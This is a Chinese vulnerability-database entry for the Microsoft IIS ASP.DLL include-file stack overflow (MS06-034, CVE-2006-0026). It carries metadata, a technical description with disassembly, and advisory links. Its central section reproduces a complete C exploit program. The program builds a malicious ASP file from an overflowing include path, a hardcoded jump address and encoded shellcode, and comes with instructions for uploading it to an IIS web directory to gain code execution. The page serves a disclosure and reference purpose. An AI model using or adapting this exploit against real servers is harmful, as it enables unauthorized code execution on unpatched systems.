Microsoft IIS ASP远程缓冲区溢出漏洞(MS06-034)

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110655 漏洞类型 缓冲区溢出
发布时间 2006-07-21 更新时间 2006-07-27
CVE编号 CVE-2006-0026 CNNVD-ID CNNVD-200607-145
漏洞平台 Windows CVSS评分 6.5
|漏洞来源
https://www.exploit-db.com/exploits/2056
https://www.securityfocus.com/bid/18858
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200607-145
|漏洞详情
MicrosoftIIS是MicrosoftWindows自带的一个网络信息服务器,其中包含HTTP服务功能。IIS实现上存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。IIS的ASP.DLL的include函数检查参数是否大于260个字节。如果大于的话就会报错,但在报错之前执行了错误的计算。movedi,[ebp+var_228];loadlengthofparametercmpedi,104h;checkiflargerthan260bytesjbeshortloc_movesi,[ebp+var_22C];loadaddressofparameterleaeax,[edi+esi-104h];loadeaxwiththeaddressofthelast;260bytesoftheparameter;(lengthofstring+sourceofstring)-104hleaedx,[ebp+var_211];loadedxwithaddressonstacksubedx,eax;movcl,[eax];\mov[edx+eax],cl;dothecopyinceax;andoverflowthestacktestcl,cl;/jnzshortloc_7096D1F3;攻击者可以通过创建特制的ActiveServerPages(ASP)文件来利用这个漏洞,如果IIS处理了该文件的话就会导致执行任意指令。利用这个漏洞必须有效的登录凭据,成功利用这个漏洞的攻击者可以当前用户权限执行指令。
|漏洞EXP
#include <stdio.h>
#include <windows.h>

/***********************************************************************
Microsoft IIS ASP Stack Overflow Exploit(MS06-034)

by cocoruder(frankruder_at_hotmail.com),2006/7/13
page:http://ruder.cdut.net/default.asp

successfully test on Windows 2000 Server SP4+IIS5.0,
On Windows 2003 Server+IIS6.0,because the new SEH protection mechanisms,
you should set the new fs:[0]->hander flexibility,this need some luck.

usage:
upload the "exploit2000.asp" to IIS web directory,use web
browser to visit it,then the shellcode will execute.

************************************************************************/




//include asp filename length=10ch>104h
unsigned char asp_include_header[]=
"<!--#include file=\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.asp\"-->";

//jmp 8
unsigned char code_jmp8[]=
"\xEB\x06\x90\x90";

//jmp ebx address
unsigned char addr_jmp_ebx[]=
"\x66\x4A\xE6\x77";

// shellcode !! Must be free of Unicode null terminators (0x0000) !!
// win32_exec - EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
unsigned char shellcode[]=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47"
"\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x34\x4a\x51\x4b\x48"
"\x4f\x55\x42\x42\x41\x30\x4b\x4e\x49\x44\x4b\x58\x46\x43\x4b\x58"
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x45\x46\x42\x46\x50\x45\x37\x45\x4e\x4b\x38"
"\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x54"
"\x4b\x38\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x4b\x48\x4e\x41\x4b\x48"
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x50\x43\x4c\x41\x53"
"\x42\x4c\x46\x36\x4b\x58\x42\x54\x42\x53\x45\x48\x42\x4c\x4a\x37"
"\x4e\x30\x4b\x48\x42\x34\x4e\x50\x4b\x58\x42\x57\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x46\x4a\x50\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
"\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x35\x41\x53"
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37"
"\x42\x35\x4a\x36\x50\x47\x4a\x4d\x44\x4e\x43\x47\x4a\x36\x4a\x49"
"\x50\x4f\x4c\x48\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x46\x43\x46\x42\x30\x5a";



void main(void)
{
FILE *fp=NULL;
int i;

printf("[+] Creating file...exploit.asp\n");


if ((fp=fopen("exploit2000.asp","wb"))==NULL)
{
printf("fopen error!\n");
return;
}


fwrite(asp_include_header,sizeof(asp_include_header)-1,1,fp);

//fill
for (i=0;i<0x135;i++)
{
fwrite("\x41",1,1,fp);
}

fwrite(code_jmp8,4,1,fp);

fwrite(addr_jmp_ebx,4,1,fp);

fwrite(shellcode,sizeof(shellcode)-1,1,fp);

//fill
for (i=0;i<0x1500;i++)
{
fwrite("\x41",1,1,fp);
}

fclose(fp);


printf("[+] Exploit file has been successfully built.\n");

}

# milw0rm.com [2006-07-21]
|受影响的产品
Microsoft Windows XP Tablet PC Edition SP2 Microsoft Windows XP Tablet PC Edition SP1 Microsoft Windows XP Tablet PC Edition Microsoft Windows XP Professional x64 Edition Microsoft Wind
|参考资料

来源:US-CERT
名称:VU#395588
链接:http://www.kb.cert.org/vuls/id/395588
来源:US-CERT
名称:TA06-192A
链接:http://www.us-cert.gov/cas/techalerts/TA06-192A.html
来源:XF
名称:iis-asp-bo(26796)
链接:http://xforce.iss.net/xforce/xfdb/26796
来源:BID
名称:18858
链接:http://www.securityfocus.com/bid/18858
来源:MS
名称:MS06-034
链接:http://www.microsoft.com/technet/security/bulletin/ms06-034.mspx
来源:VUPEN
名称:ADV-2006-2752
链接:http://www.frsirt.com/english/advisories/2006/2752
来源:SECTRACK
名称:1016466
链接:http://securitytracker.com/id?1016466
来源:SECUNIA
名称:21006
链接:http://secunia.com/advisories/21006
来源:OSVDB
名称:27152
链接:http://www.osvdb.org/27152
来源:BUGTRAQ
名称:20060718ASP.DLLIncludeFileBufferOverflow
链接:http://archives.neohapsis.com/archives/bugtraq/2006-07/0316.html
来源:USGovernment
名称:oval:org.mitre.oval:def:435
链接:http://oval.mitre.org/repository/data/getDef?id=oval:org.mitre.oval:def:435